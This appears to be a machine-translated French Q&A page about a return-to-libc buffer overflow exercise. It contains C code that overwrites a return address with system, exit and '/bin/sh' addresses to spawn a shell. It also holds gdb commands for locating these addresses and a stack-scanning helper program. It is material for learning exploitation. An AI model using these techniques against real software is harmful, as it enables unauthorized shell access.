web-dev-qa-db-fra.com

retour au problème d'exercice de dépassement de tampon de lib_c

Je suis censé proposer un programme qui exploite le "retour au débordement du tampon libc". Ceci est, une fois exécuté, il se termine proprement et affiche une invite Shell. Le programme est exécuté dans un terminal bash. Voici mon code C:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

En utilisant gdb , j'ai pu déterminer ce qui suit:

  • Adresse pour "système": 0x4c4ab0
  • Adresse de "sortie": 0x4ba520
  • La chaîne "/ bin/sh" réside en mémoire à: 0xbfffff13

Je sais également, en utilisant gdb , que l'insertion de 32 "A" dans ma variable tampon écrasera l'adresse de retour. Donc étant donné que l'appel système fait 4 octets, je commence par remplir ma mémoire "fuite" à 28 octets. Au 28e octet, je commence mon appel système, puis je quitte l'appel et j'ajoute enfin mon emplacement de mémoire "/ bin/sh".

Cependant, lorsque j'exécute le programme, j'obtiens ce qui suit:

sh: B���: command not found
Segmentation fault (core dumped)

Je ne sais vraiment pas ce que je fais mal ...

[EDIT]: J'ai pu obtenir la chaîne "/ bin/sh" en exportant une variable d'environnement:

export MYSHELL="/bin/sh"
18
lightningmanic

Vous pouvez rechercher dans libc une adresse fixe d'une chaîne/bin/sh. Exécutez votre programme dans gdb puis:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

Bonne chance.

50
Lucifer

Le problème dans votre programme est le pointeur que vous supposez pointer vers le /bin/sh la chaîne ne pointe pas vers /bin/sh.

Vous obtenez cette adresse en utilisant gdb. Mais même sans randomisation de pile, l'adresse de pile de votre variable Shell est différente lorsque le programme est exécuté sous gdb que sans gdb. gdb met des informations de débogage dans la pile et cela déplacera vos variables Shell.

Pour vous convaincre, voici un programme rapide et sale pour trouver un /bin/sh chaîne dans la pile:

#include <stdio.h>
#include <string.h>

int main(void)
{
    char s[] = "/bin/sh";
    char *p = (char *) 0xbffff000;

    while (memcmp(++p, s, sizeof s));

    printf("%s\n", p);
    printf("%p\n", p);
}

Vérifiez d'abord que la randomisation de la pile est désactivée:

ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$

Ok, pas de randomisation de pile.

Compilons le programme et exécutons-le en dehors de gdb:

ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$

Maintenant, exécutons-le sous gdb:

ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$

Comme vous pouvez voir l'adresse du /bin/sh chaîne est différente lorsque le programme est exécuté à l'intérieur ou à l'extérieur gdb.

Maintenant, ce que vous pouvez faire est d'utiliser une variante de ce programme pour trouver la véritable adresse de votre chaîne ou une approche plus élégante, obtenir l'adresse d'un /bin/sh chaîne directement depuis la libc (comme vous pouvez le deviner il y a quelques occurrences).

4
ouah